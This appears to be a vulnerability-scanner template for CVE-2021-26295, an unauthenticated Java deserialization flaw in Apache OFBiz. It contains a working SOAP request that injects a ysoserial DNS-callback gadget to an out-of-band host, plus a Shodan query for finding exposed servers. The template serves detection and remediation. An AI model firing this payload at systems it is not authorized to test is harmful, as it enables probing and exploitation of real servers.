72 lines
2.7 KiB
YAML
72 lines
2.7 KiB
YAML
id: CVE-2021-26295
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info:
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name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
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author: madrobot
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severity: critical
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description: |
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Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.
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reference:
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- https://github.com/yumusb/CVE-2021-26295-POC
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- https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
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- https://github.com/zhzyker/exphub/tree/master/ofbiz
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- https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
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- https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26295
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-26295
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cwe-id: CWE-502
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epss-score: 0.97455
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epss-percentile: 0.99952
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cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: apache
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product: ofbiz
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shodan-query: "OFBiz.Visitor="
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ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
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tags: packetstorm,cve,cve2021,apache,ofbiz,deserialization,rce
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http:
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- raw:
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- |
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POST /webtools/control/SOAPService HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<?xml version='1.0' encoding='UTF-8'?>
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<soapenv:Envelope
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xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header/>
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<soapenv:Body>
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<ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
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<ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
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</ns1:clearAllEntityCaches>
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</soapenv:Body>
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</soapenv:Envelope>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "errorMessage"
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condition: and
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- type: word
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part: header
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words:
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- "OFBiz.Visitor="
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# digest: 4a0a0047304502207fceb6c1afd6b61eea8fc64a6f46f583277f2c792ca6c37d0a2a03a34909d67c0221008d49815caf6057b3e04cf2a4e817adb8bcef6f220427227c65c73e825dc390bc:922c64590222798bb761d5b6d8e72950 |